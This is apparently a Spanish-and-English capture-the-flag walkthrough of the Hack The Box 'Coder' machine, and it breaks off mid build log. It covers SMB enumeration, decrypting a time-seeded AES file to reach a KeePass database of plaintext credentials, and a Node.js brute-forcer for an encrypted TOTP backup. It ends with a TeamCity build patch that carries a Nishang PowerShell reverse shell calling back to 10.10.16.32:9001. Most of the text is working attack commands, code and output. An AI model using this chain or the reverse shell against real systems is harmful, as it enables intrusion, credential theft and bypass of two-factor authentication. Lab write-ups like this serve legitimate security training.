Coder

nmap

```
nmap -sC -sV -oA nmap/coder 10.10.11.207
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-04 09:36 CET
Nmap scan report for 10.10.11.207
Host is up (0.15s latency).
Not shown: 987 closed tcp ports (reset)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
| http-methods: 
|_  Potentially risky methods: TRACE
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-01-04 16:37:01Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: coder.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-01-04T16:37:59+00:00; +7h59m11s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.coder.htb, DNS:coder.htb, DNS:CODER
| Not valid before: 2023-11-21T23:06:46
|_Not valid after:  2033-11-21T23:16:46
443/tcp  open  ssl/http      Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_ssl-date: 2024-01-04T16:38:00+00:00; +7h59m11s from scanner time.
| ssl-cert: Subject: commonName=default-ssl/organizationName=HTB/stateOrProvinceName=CA/countryName=US
| Not valid before: 2022-11-04T17:25:43
|_Not valid after:  2032-11-01T17:25:43
|_http-title: IIS Windows Server
| tls-alpn: 
|_  http/1.1
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: coder.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-01-04T16:38:00+00:00; +7h59m11s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.coder.htb, DNS:coder.htb, DNS:CODER
| Not valid before: 2023-11-21T23:06:46
|_Not valid after:  2033-11-21T23:16:46
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: coder.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-01-04T16:37:59+00:00; +7h59m11s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.coder.htb, DNS:coder.htb, DNS:CODER
| Not valid before: 2023-11-21T23:06:46
|_Not valid after:  2033-11-21T23:16:46
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: coder.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.coder.htb, DNS:coder.htb, DNS:CODER
| Not valid before: 2023-11-21T23:06:46
|_Not valid after:  2033-11-21T23:16:46
|_ssl-date: 2024-01-04T16:38:00+00:00; +7h59m11s from scanner time.
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2024-01-04T16:37:50
|_  start_date: N/A
|_clock-skew: mean: 7h59m10s, deviation: 0s, median: 7h59m10s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 112.44 seconds
```

/etc/hosts

```
vim /etc/hosts
```

```
10.10.11.207     coder.htb dc01.coder.htb
```

netexec

#Vemos los recursos smb con netexec

```
netexec smb 10.10.11.207 -u 'sojdfsjnf' -p '' --shares
SMB         10.10.11.207    445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:coder.htb) (signing:True)
(SMBv1:False)
SMB         10.10.11.207    445    DC01             [+] coder.htb\sojdfsjnf:
SMB         10.10.11.207    445    DC01             [*] Enumerated shares
SMB         10.10.11.207    445    DC01             Share           Permissions     Remark
SMB         10.10.11.207    445    DC01             -----           -----------     ------
SMB         10.10.11.207    445    DC01             ADMIN$                          Remote Admin
SMB         10.10.11.207    445    DC01             C$                              Default share
SMB         10.10.11.207    445    DC01             Development     READ
SMB         10.10.11.207    445    DC01             IPC$            READ            Remote IPC
SMB         10.10.11.207    445    DC01             NETLOGON                        Logon server share
SMB         10.10.11.207    445    DC01             SYSVOL                          Logon server share
SMB         10.10.11.207    445    DC01             Users           READ
```

#Exploramos los Shared folder con smbclient

```
smbclient -N -U 'alle' //10.10.11.207/Users
Try "help" to get a list of possible commands.
smb: \> dir
  .                                  DR        0  Thu Nov  3 21:08:38 2022
  ..                                 DR        0  Thu Nov  3 21:08:38 2022
  Default                           DHR        0  Wed Jun 29 06:11:21 2022
  desktop.ini                       AHS      174  Sat Sep 15 09:16:48 2018
  Public                             DR        0  Wed Jun 29 05:14:56 2022

                6232831 blocks of size 4096. 1013472 blocks available
smb: \> dir Desktop
NT_STATUS_NO_SUCH_FILE listing \Desktop
smb: \> dir Public
  Public                             DR        0  Wed Jun 29 05:14:56 2022

                6232831 blocks of size 4096. 1013472 blocks available
smb: \> get desktop.ini
getting file \desktop.ini of size 174 as desktop.ini (0.3 KiloBytes/sec) (average 0.3 KiloBytes/sec)
```

#Descargamos desktop.ini y miramos el contenido con strings

```
strings -e b desktop.ini
[.ShellClassInfo]
LocalizedResourceName=@%SystemRoot%\system32\shell32.dll,-21813
```

#Buscamos algo interesante en el directorio /Development

```
smbclient -N -U 'alle' //10.10.11.207/Development
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Thu Nov  3 16:16:25 2022
  ..                                  D        0  Thu Nov  3 16:16:25 2022
  Migrations                          D        0  Tue Nov  8 23:11:25 2022
  Temporary Projects                  D        0  Fri Nov 11 23:19:03 2022

                6232831 blocks of size 4096. 1013409 blocks available



smb: \migrations\> dir
  .                                   D        0  Tue Nov  8 23:11:25 2022
  ..                                  D        0  Tue Nov  8 23:11:25 2022
  adcs_reporting                      D        0  Tue Nov  8 23:11:25 2022
  bootstrap-template-master           D        0  Thu Nov  3 17:12:30 2022
  Cachet-2.4                          D        0  Thu Nov  3 17:12:36 2022
  kimchi-master                       D        0  Thu Nov  3 17:12:41 2022
  teamcity_test_repo                  D        0  Fri Nov  4 20:14:54 2022

                6232831 blocks of size 4096. 1013408 blocks available

smb: \> RECURSE on
```

```
smb: \> prompt
smb: \> mget *
```

cifs-util

```
apt search cifs-util
Sorting... Done
Full Text Search... Done
cifs-utils/kali-rolling,now 2:7.0-2 amd64 [installed,automatic]
  Common Internet File System utilities

samba/kali-rolling 2:4.19.3+dfsg-2 amd64 [upgradable from: 2:4.19.2+dfsg-1]
  SMB/CIFS file, print, and login server for Unix

smbclient/kali-rolling 2:4.19.3+dfsg-2 amd64 [upgradable from: 2:4.19.2+dfsg-1]
  command-line SMB/CIFS clients for Unix

#Mount the network folder locally.
mkdir /mnt
mount //10.10.11.207/Development /mnt

Password for root@//10.10.11.207/Development:
#Empty password

ls mnt

┌──(root㉿kali)-[~/.../machines/Coder/smb/Temporary Projects]
└─# ll
total 12
-rw-r--r-- 1 root root 5632 Jan  4 10:09 Encrypter.exe
-rw-r--r-- 1 root root 3808 Jan  4 10:09 s.blade.enc

#See a encrypter.exe
#See filetype.

file Encrypter.exe
Encrypter.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections

#If the file do not get the time corret from the server use the complete comand and mount int into /mnt

sudo mount -t cifs \\\\dc01.coder.htb\\Development /mnt -o vers=3.0,username=guest,serverino,sec=ntlmsspi
```

stat

```
stat s.blade.enc
  File: s.blade.enc
  Size: 3808            Blocks: 8          IO Block: 4096   regular file
Device: 8,1     Inode: 4987867     Links: 1
Access: (0755/-rwxr-xr-x)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2024-01-06 16:03:51.276810420 +0100
Modify: 2022-11-11 23:17:08.374350100 +0100
Change: 2024-01-06 16:03:51.260810364 +0100
 Birth: 2024-01-06 16:03:50.240806690 +0100


date -d "2024-01-04 10:09:18.522868573 +0100" +"%s"
1668205028

#Got the seed
```

dnSpy

#Go to Windows machine and install dnSpy
#Import Encrypter.exe inside Windows machine
#Open -- Select .exe file and decompile.
#Dotnet encrypter. Discovering the seed is based upon time, modifying into decrypt using metadata from the encrypted file to get the seed

#See, it´s looking for .enc files

```
// AES
// Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250
public static void Main(string[] args)
{
        bool flag = args.Length != 1;
        if (flag)
        {
                Console.WriteLine("You must provide the name of a file to encrypt.");
        }
        else
        {
                FileInfo fileInfo = new FileInfo(args[0]);
                string destFile = Path.ChangeExtension(fileInfo.Name, ".enc");
                long value = DateTimeOffset.Now.ToUnixTimeSeconds();
                Random random = new Random(Convert.ToInt32(value));
                byte[] array = new byte[16];
                random.NextBytes(array);
                byte[] array2 = new byte[32];
                random.NextBytes(array2);
                byte[] array3 = AES.EncryptFile(fileInfo.Name, destFile, array2, array);
        }
}
```

#Let´s modify the Encryptor to create a Decryptor.
#Select “Export as proyect”
#Open .sln file with the Microsoft Visual Studio

```
using System;
using System.IO;
using System.Security.Cryptography;

// Token: 0x02000002 RID: 2
internal class AES
{
        // Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250
        public static void Main(string[] args)
        {
                string srcfile = "C:\\Users\\allep\\Desktop\\tp2\\s.blade.enc";
                string destfile = "C:\\Users\\allep\\Desktop\\tp2\\s.blade";

                long num = 1668205028;
                Random seed = new Random(Convert.ToInt32(num));
                byte[] iv = new byte[16];
                seed.NextBytes(iv);
                byte[] key = new byte[32];
                seed.NextBytes(key);
                byte[] array3 = AES.DecryptFile(srcfile, destfile, key, iv);
        }

        // Token: 0x06000002 RID: 2 RVA: 0x000020E8 File Offset: 0x000002E8
        private static byte[] DecryptFile(string sourceFile, string destFile, byte[] Key, byte[] IV)
        {
                using (RijndaelManaged rijndaelManaged = new RijndaelManaged())
                {
                        using (FileStream fileStream = new FileStream(destFile, FileMode.Create))
                        {
                                using (ICryptoTransform cryptoTransform = rijndaelManaged.CreateDecryptor(Key, IV))
                                {
                                        using (CryptoStream cryptoStream = new CryptoStream(fileStream, cryptoTransform,
CryptoStreamMode.Write))
                                        {
                                                using (FileStream fileStream2 = new FileStream(sourceFile, FileMode.Open))
                                                {
                                                        byte[] array = new byte[1024];
                                                        int count;
                                                        while ((count = fileStream2.Read(array, 0, array.Length)) != 0)
                                                        {
                                                                cryptoStream.Write(array, 0, count);
```

```
                            }
                        }
                    }
                }
            }
        }
        return null;
    }
}
```

#Afer that, wee compile and use the Encryptor.exe to decrypt the s.blade.enc file.
#Got a s.blade file

7z

```
file s.blade
s.blade: 7-zip archive data, version 0.4

#It´s a zip file.
#Put the extension .7z to extract files.


7z l s.blade.7z

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=C.UTF-8,Utf16=on,HugeFiles=on,64 bits,1 CPU Intel(R) Core(TM) i5-10400F CPU @ 2.90GHz
(A0653),ASM,AES-NI)

Scanning the drive for archives:
1 file, 3799 bytes (4 KiB)

Listing archive: s.blade.7z

--
Path = s.blade.7z
Type = 7z
Physical Size = 3799
Headers Size = 177
Method = LZMA2:12
Solid = -
Blocks = 2

   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2022-11-03 21:02:30 ..H.A         1024         1028  .key
2022-11-11 23:13:55 ....A         2590         2594  s.blade.kdbx
------------------- ----- ------------ ------------  ------------------------
2022-11-11 23:13:55               3614         3622  2 files

#Got two files, with x option wee can extract them.

7z x s.blade.7z

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=C.UTF-8,Utf16=on,HugeFiles=on,64 bits,1 CPU Intel(R) Core(TM) i5-10400F CPU @ 2.90GHz
(A0653),ASM,AES-NI)

Scanning the drive for archives:
1 file, 3799 bytes (4 KiB)

Extracting archive: s.blade.7z
--
Path = s.blade.7z
Type = 7z
Physical Size = 3799
Headers Size = 177
Method = LZMA2:12
Solid = -
Blocks = 2

Everything is Ok

Files: 2
Size:       3614
Compressed: 3799

#Extract the keepass content and see a creed for the host teamcity-dev.coder.htb

kpcli --key .key --kdb s.blade.kdbx
Provide the master password: *************************

KeePass CLI (kpcli) v3.8.1 is ready for operation.
Type 'help' for a description of available commands.
Type 'help <command>' for details on individual commands.
```

```
kpcli:/> ls
=== Groups ===
Root/
kpcli:/> cd Root
kpcli:/Root> dir
=== Entries ===
0. Authenticator backup codes
1. O365
2. Teamcity                                    teamcity-dev.coder.htb
kpcli:/Root>
```

#Wee put the host into /etc/host file and go to the secure page. https://teamcity-dev.coder.htb
#It redirícts us to a Login page

#Wee can see the credds typing show -f 2

```
kpcli:/Root> show -f 2

Title: Teamcity
Uname: s.blade
 Pass: veh5nUSZFFoqz9CrrhSeuwhA
  URL: https://teamcity-dev.coder.htb
Notes:
```

#When wee log in, wee can find a 2fa.
#Let´s see the zero one and the first one.

```
show -f 0

Title: Authenticator backup codes
Uname:
 Pass:
  URL:
Notes: {
         "6132e897-44a2-4d14-92d2-12954724e83f": {
           "encrypted": true,
           "hash": "6132e897-44a2-4d14-92d2-12954724e83f",
           "index": 1,
           "type": "totp",
           "secret": "U2FsdGVkX1+3JfFoKh56OgrH5jH0LLtc+34jzMBzE+QbqOBTXqKvyEEPKUyu13N2",
           "issuer": "TeamCity",
           "account": "s.blade"
         },
         "key": {
           "enc": "U2FsdGVkX19dvUpQDCRui5XaLDSbh9bP00/1iBSrKp7102OR2aRhHN0s4QHq/
NmYwxadLeTN7Me1a3LrVJ+JkKd76lRCnd1utGp/
Jv6w0hmcsqdhdccOpixnC3wAnqBp+5QyzPVaq24Z4L+Rx55HRUQVNLrkLgXpkULO20wYbQrJYN1D8nr3g/G0ukrmby+1",
           "hash": "$argon2id$v=19$m=16384,t=1,p=1$L/vKleu5gFis+GLZbROCPw$OzW14DA0kdgIjCbo6MPDYoh+NEHnNCNV"
         }
       }

kpcli:/Root> show -f 1

Title: O365
Uname: s.blade@coder.htb
 Pass: AmcwNO60Zg3vca3o0HDrTC6D
  URL:
Notes:
```

#Got creeds
user → s.blade@coder.htb
pass → AmcwNO60Zg3vca3o0HDrTC6D

user → s.blade
pass → veh5nUSZFFoqz9CrrhSeuwhA

netexec

```
netexec smb 10.10.11.207 -u s.blade -p AmcwNO60Zg3vca3o0HDrTC6D
SMB         10.10.11.207    445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:coder.htb) (signing:True)
(SMBv1:False)
SMB         10.10.11.207    445    DC01             [+] coder.htb\s.blade:AmcwNO60Zg3vca3o0HDrTC6D

#Let´s see the shared folders.
netexec smb 10.10.11.207 -u s.blade -p AmcwNO60Zg3vca3o0HDrTC6D --shares
SMB         10.10.11.207    445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:coder.htb) (signing:True)
(SMBv1:False)
SMB         10.10.11.207    445    DC01             [+] coder.htb\s.blade:AmcwNO60Zg3vca3o0HDrTC6D
SMB         10.10.11.207    445    DC01             [*] Enumerated shares
SMB         10.10.11.207    445    DC01             Share           Permissions     Remark
SMB         10.10.11.207    445    DC01             -----           -----------     ------
SMB         10.10.11.207    445    DC01             ADMIN$                          Remote Admin
SMB         10.10.11.207    445    DC01             C$                              Default share
SMB         10.10.11.207    445    DC01             Development     READ
SMB         10.10.11.207    445    DC01             IPC$            READ            Remote IPC
SMB         10.10.11.207    445    DC01             NETLOGON        READ            Logon server share
SMB         10.10.11.207    445    DC01             SYSVOL          READ            Logon server share
SMB         10.10.11.207    445    DC01             Users           READ

#Use smbclient to coonnect toexit the shared folder.

smbclient -U s.blade@coder.htb //10.10.11.207/Users
#Use password → AmcwNO60Zg3vca3o0HDrTC6D
```

Authenticator_try1

https://addons.mozilla.org/es/firefox/addon/auth-helper/

#Install this extension to firefox.
#From the hash: "$argon2id$v=19$m=16384,t=1,p=1$L/vKleu5gFis+GLZbROCPw$OzW14DA0kdgIjCbo6MPDYoh+NEHnNCNV"
#Wee can see, it is a argon2id hash.
#Wee want to bruteforce the hash.
#Let´s make a js script to brutforce.
brute.js

```
//Let´s read a file.

const fs = require('fs');
const readline = require('readline');

const readInterface = readline.createInterface({
        input: fs.createReadStream(process.argv[2]),
});

readInterface.on('line' , function(line) {
        console.log(line);
});
```

#Test the script to this point.
node brute.js alle.txt
Hello im alle

#Install crypto-js
npm install crypto-js

#Try to decrypt hash with js script.

brute.js

```
//Let´s read a file.

const fs = require('fs');
const readline = require('readline');
const CryptoJS = require('crypto-js');
const enc_key = "U2FsdGVkX19dvUpQDCRui5XaLDSbh9bP00/1iBSrKp7102OR2aRhHN0s4QHq/
NmYwxadLeTN7Me1a3LrVJ+JkKd76lRCnd1utGp/
Jv6w0hmcsqdhdccOpixnC3wAnqBp+5QyzPVaq24Z4L+Rx55HRUQVNLrkLgXpkULO20wYbQrJYN1D8nr3g/G0ukrmby+1";
const enc_totp_secret = "U2FsdGVkX1+3JfFoKh56OgrH5jH0LLtc+34jzMBzE+QbqOBTXqKvyEEPKUyu13N2";

//Get lenght of process argv
if ((process.argv).length < 3) {
        console.log("Usage: node brute.js <file>");
        process.exit(1);
}

const readInterface = readline.createInterface({
        input: fs.createReadStream(process.argv[2]),
});

readInterface.on('line' , function(line) {
        try {
                var key = CryptoJS.AES.decrypt(enc_key, line).toString();
                var totp_secret = CryptoJS.AES.decrypt(enc_totp_secret, key).toString(CryptoJS.enc.Utf8);
                if (totp_secret.length > 15) {
                console.log("Passphase: " + line)
                console.log("Totp: " + totp_secret);
                exit (0);
                }
        } catch (err) {
                //return;
        }
});
```

node brute.js /usr/share/wordlists/rockyou.txt
Passphase: skyblade
Totp: PM2CG6RO73QT74WS

#Now import the key in the firefow extension with the name TeamCity.
#If it don´t work, then syncronyze time because, the 2FA uses date.

ntpdate 10.10.11.207

```
2024-01-07 02:19:35.513730 (+0100) +28732.414390 +/- 0.073195 10.10.11.207 s1 no-leap
CLOCK: time stepped by 28732.414390
```

Authenticator_try2

#Wee can see how Two-Factor Authentication is used.
#Podemos ver como la aplicacción web menciona una “authentication app”, buscamos una extensión que nos permita gestionar este 2FA.
#Vemos una extensión de software libre https://addons.mozilla.org/en-US/firefox/addon/auth-helper/
#Si miramos bién el código de esta, podemos ver como dentro de src/definitions, se crean un tipo de clases.
#Vemos otp.d.ts es particularmente intersante en el sentido de que nos revela 3 interfaces relacionadas con OTP storage and encryption;

```
interface EncryptionInterface {
getEncryptedString(data: string): string;
getDecryptedSecret(entry: OTPStorage): string | null;
getEncryptionStatus(): boolean;
updateEncryptionPassword(password: string): void;
}
```

#Podemos ver como la función en /src/models, encryption.ts nos devueleve una pista de como podríamos descubrir los códigos que tenemos.

```
getEncryptedString(data: string): string {
if (!this.password) {
return data;
} else {
return CryptoJS.AES.encrypt(data, this.password).toString();
}
}
```

#Sabemos que la librería Crypto-JS es la que se utiliza para encryptar los códigos.
#La función getEncryptedString() nos muestra como utiliza la encyptación AES si le proporcionamos una contraseña.
#En el fichero otp.ts, nos muestra el caso de si la entrade está encryptada o no.

```
if (entry.encrypted) {
this.encSecret = entry.secret;
this.secret = null;
} else {
this.secret = entry.secret;
this.encSecret = null;
if (encryption && encryption.getEncryptionStatus()) {
this.encSecret = encryption.getEncryptedString(this.secret);
}
}
```

#Esto significa que la clave de backup está encryptada con una contraseña.
#Vamos al fichero import.ts, vemos la función decryptBackupData.

```
export function decryptBackupData(
backupData: { [hash: string]: OTPStorage },
passphrase: string | null
) {
const decryptedbackupData: { [hash: string]: OTPStorage } = {};
for (const hash of Object.keys(backupData)) {
<…SNIP…>
if (backupData[hash].encrypted && passphrase) {
try {
backupData[hash].secret = CryptoJS.AES.decrypt(
backupData[hash].secret,
passphrase
).toString(CryptoJS.enc.Utf8);
<…SNIP…>
return decryptedbackupData;
}
```

#Podemos ver como la función itera a través de las entradas JSON, en nuestro caso solo tenemos una y esta desencrypta la clave secreta utilizando una “passphrase”.
#Ya sabemos como la primera parte del JSON está compuesta.
#La segunda parte de nuestro JSON la analizaremos ahora.
#Podemos ver una clave con dos tipos de encryptación: La primera, "enc" y la segunda “hash”.

```
"key": {
"enc":
"U2FsdGVkX19dvUpQDCRui5XaLDSbh9bP00/1iBSrKp7102OR2aRhHN0s4QHq/NmYwxadLeTN7Me1a3Lr
VJ+JkKd76lRCnd1utGp/Jv6w0hmcsqdhdccOpixnC3wAnqBp+5QyzPVaq24Z4L+Rx55HRUQVNLrkLgXpk
ULO20wYbQrJYN1D8nr3g/G0ukrmby+1",
"hash":
"$argon2id$v=19$m=16384,t=1,p=1$L/vKleu5gFis+GLZbROCPw$OzW14DA0kdgIjCbo6MPDYoh+NE
HnNCNV"
}
```

#Podemos observar a donde nos lleva la función llamada decryptBackupData. Esta, nos lleva al fichero TextImport.vue, que nos revela que la clave "Key" está encryptada tabmién con AES utilizando la “passhrase”

```
if (key && passphrase) {
decryptedbackupData = decryptBackupData(
exportData,
CryptoJS.AES.decrypt(key.enc, passphrase).toString()
);
```

#Luego, pasa la clave key.enc desencriptada a la función decryptBackupData, utiliza este valor para descifrar el secreto del objeto TOTP, utilizando posteriormente el secreto descifrado para descifrar el resto de de los datos ToTP.
#En resumen, los datos TOTP están cifrados con doble AES. La propiedad clave se utiliza para cifrar los datos TOTP y a su vez, está cifrado mediante el algoritmo AES. Cuando los datos TOTP necesitan ser descifrados, el valor key.enc se decifra primero usando la frase de la contraseña y luego se utiliza para descifrar la propiedad secreta de cada entrada TOTP en el objeto backupData.
#Con todo esto en mente, podemos intentar a reverir el proceso mediante fuerza bruta a la frase inicial.

#Luego creamos un script que lee líneas de rockyou.txt e intenta descifrar el primer secreto.
(key.enc en los datos JSON), y luego usa la salida hexadecimal de ese descifrado para descifrar el
segundo secreto (hash.secret en los datos JSON).

```
var CryptoJS = require("crypto-js");
const convert = (from, to) => str => Buffer.from(str, from).toString(to)
const hexToUtf8 = convert('hex', 'utf8');
var secret1 =
"U2FsdGVkX19dvUpQDCRui5XaLDSbh9bP00/1iBSrKp7102OR2aRhHN0s4QHq/NmYwxadLeTN7Me1a3Lr
VJ+JkKd76lRCnd1utGp/Jv6w0hmcsqdhdccOpixnC3wAnqBp+5QyzPVaq24Z4L+Rx55HRUQVNLrkLgXpk
ULO20wYbQrJYN1D8nr3g/G0ukrmby+1";
var lineReader = require('readline').createInterface({
input: require('fs').createReadStream('/usr/share/wordlists/rockyou.txt')
});
lineReader.on('line', function (line) {
var cipher1 = CryptoJS.AES.decrypt(secret1, line);
var originalText1 = cipher1.toString();
var secret2 =
"U2FsdGVkX1+3JfFoKh56OgrH5jH0LLtc+34jzMBzE+QbqOBTXqKvyEEPKUyu13N2";
var cipher2 = CryptoJS.AES.decrypt(secret2, originalText1);
var originalText2 = cipher2.toString();
if (/^[A-Za-z0-9]*$/.test(hexToUtf8(originalText2)) && hexToUtf8(originalText2)
!= "" && hexToUtf8(originalText2).length == 16) {
console.log(originalText1);
console.log(hexToUtf8(originalText2));
console.log(line);
}
});
```

#Ejecutamos el script y esperamos unos segundos, después de lo cual obtenemos algún resultado.
#Hemos descubierto con éxito la frase de contraseña skyblade, que ahora podemos usar para importar la copia de seguridad en la extensión Authenticator y comience a generar códigos TOTP.
#Agregamos la extensión a nuestro navegador y siga los pasos a continuación para importar los datos:
#Una vez que estemos en la configuración de Importar copia de seguridad, elegimos la opción "Importar copia de seguridad de texto" y pegamos los datos JSON en el cuadro de texto, asegurándose de seleccionar la opción cifrada.

```
node brute2.js
3a3c2614b17654f9f15dce9dd282955e4f82e32dd0397fbb5b6730354a3dc6a7465091e1bea6fd465aa83743fbd9e630c9dff2c461da26737dc6
93d0d88623129b7c1a9342d0c88b406d7d542d4414ee4f13ee3e127d9ed0a124773d66e8af460d4347e3551dace0299452b898cc01396c6c4
cc8ab967cad
PM2CG6RO73QT74WS
skyblade
```

#Hemos descubierto con éxito la frase de contraseña skyblade, que ahora podemos usar para importar el haga una copia de seguridad en la extensión Authenticator y comience a generar códigos TOTP.
#Agregamos la extensión a nuestro navegador e importar los datos en la opción Authenticator --> Settings → Backup
#Una vez que estemos en la configuración de Importar copia de seguridad, elegimos la opción "Importar copia de seguridad de texto" y pegamos los datos JSON en el cuadro de texto, asegurándose de seleccionar la opción cifrada.
#También, de la misma forma, podemos importar la clave TOTP desde el menú principal. O bíen modificar un fichero de backup con los campos correspoondientes.

authenticator.txt

```
otpauth://totp/TeamCity:?secret=PM2CG6RO73QT74WS&issuer=TeamCity
```

#Una vez importado, se nos generará una clave de 6 dígitos que cambia cada minuto. Es muy importante tener el tiempo ntp actualizado.

```
ntpdate 10.10.11.207
2024-01-08 01:28:04.971352 (+0100) +28724.835798 +/- 0.060370 10.10.11.207 s1 no-leap
CLOCK: time stepped by 28724.835798
```

ntp_fix

```
sudo apt reinstall systemd-timesyncd
apt-get install ntp
```

foothold

#Nos recibe el panel de TeamCity, donde encontramos el proyecto Development_Testing.
#Podemos ver que hay un trabajo de compilación de prueba utilizando el repositorio teamcity_test_repo, que descubierto y descargado anteriormente.
#Si navegamos en el repositorio, podemos ver como nos indica donde se encuentran los escripts de Powershell

```
[21:25:11] : Build preparation done
[21:25:11] : Step 1/1: Hello, World (PowerShell)
[21:25:11]i:         [Step 1/1] PowerShell running in non-virtual agent context
[21:25:11] :         [Step 1/1] PowerShell Executable: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
[21:25:11] :         [Step 1/1] Working directory: C:\TeamCity\buildAgent\work\74c2f03019966b3e
[21:25:11] :         [Step 1/1] Command: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
[21:25:11] :         [Step 1/1] PowerShell arguments: -NoProfile, -NonInteractive, -ExecutionPolicy, ByPass, -File, C:
\TeamCity\buildAgent\work\74c2f03019966b3e\hello_world.ps1
[21:25:12] :         [Step 1/1] Hello, World!
```

#Nos dirigimos a la carpeta en cuestiópn para verlos. Vamos a /mnt
#IMPORTANTE. Tenemos que tener montado el recurso en local

```
mount //10.10.11.207/Development /mnt
Password for root@//10.10.11.207/Development:

┌──(root㉿kali)-[~/Desktop/machines/Coder/decrypted]
└─# cd /mnt

┌──(root㉿kali)-[/mnt]
└─# ll
total 0
drwxr-xr-x 2 root root 0 Nov  8  2022  Migrations
drwxr-xr-x 2 root root 0 Nov 11  2022 'Temporary Projects'

┌──(root㉿kali)-[/mnt]
└─# cd Migrations

┌──(root㉿kali)-[/mnt/Migrations]
└─# ll
total 0
drwxr-xr-x 2 root root 0 Nov  3  2022 Cachet-2.4
drwxr-xr-x 2 root root 0 Nov  8  2022 adcs_reporting
drwxr-xr-x 2 root root 0 Nov  3  2022 bootstrap-template-master
drwxr-xr-x 2 root root 0 Nov  3  2022 kimchi-master
drwxr-xr-x 2 root root 0 Nov  4  2022 teamcity_test_repo
```

#Vemos el contenido de Migrations.
#Vamos a teamcity_test_repo
#Veamos el log del repositorio git.

```
ls -la
total 5
drwxr-xr-x 2 root root    0 Nov  4  2022 .
drwxr-xr-x 2 root root 4096 Nov  8  2022 ..
drwxr-xr-x 2 root root    0 Nov  4  2022 .git
-rwxr-xr-x 1 root root   67 Nov  4  2022 hello_world.ps1

git log
commit 4aefc023afb818866bd8c0920d438b44e76f642b (HEAD -> master)
Author: Sonya Blade <s.blade@coder.htb>
Date:   Fri Nov 4 13:14:05 2022 -0600

    initial commit
```

#Podemos modificar el contenido de la carpeta Migrations.
cp -r teamcity_test_repo/ ../..

#Vamos a: https://teamcity-dev.coder.htb/buildConfiguration/DevelopmentTesting_BuildConfig/203?buildTab=log&focusLine=0&logView=flowAware
#Subimos un fichero. Tenemos que seleccionar la opción “run a personal build”.

rev_shell

```
#Ahora, podemos escribir un shell reverso para establecer una conexión.
cd /usr/share/
git clone https://github.com/samratashok/nishang

#En nuestro direcorio, escribimos:
mkdir www
cp /usr/share/nishang/Shells/Invoke-PowerShellTcpOneLine.ps1 /root/Desktop/machines/Coder/www
mv Invoke-PowerShellTcpOneLine.ps1 shell.ps1
 vim shell.ps1
```

```
A simple and small reverse shell. Options and help removed to save space.
#Uncomment and change the hardcoded IP address and port number in the below line. Remove all help comments as well.
$client = New-Object System.Net.Sockets.TCPClient('10.10.16.32',9001);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

#$sm=(New-Object Net.Sockets.TCPClient('192.168.254.1',55555)).GetStream();[byte[]]$bt=0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)}
```

```
git diff > diff.txt
 #Subimos el fichero diff al servidor de repos.
 #Observamos el log ene l servidor.
```

```
Updating sources: personal build patch

17:51:55
Step 1/1: Hello, World (PowerShell)

17:51:55
  PowerShell Executable: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

17:51:55
  Working directory: C:\TeamCity\buildAgent\work\74c2f03019966b3e

17:51:55
  Command: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

17:51:55
  PowerShell arguments: -NoProfile, -NonInteractive, -ExecutionPolicy, ByPass, -File, C:
\TeamCity\buildAgent\work\74c2f03019966b3e\hello_world.ps1

17:51:56
  IEX : At line:1 char:1

17:51:56
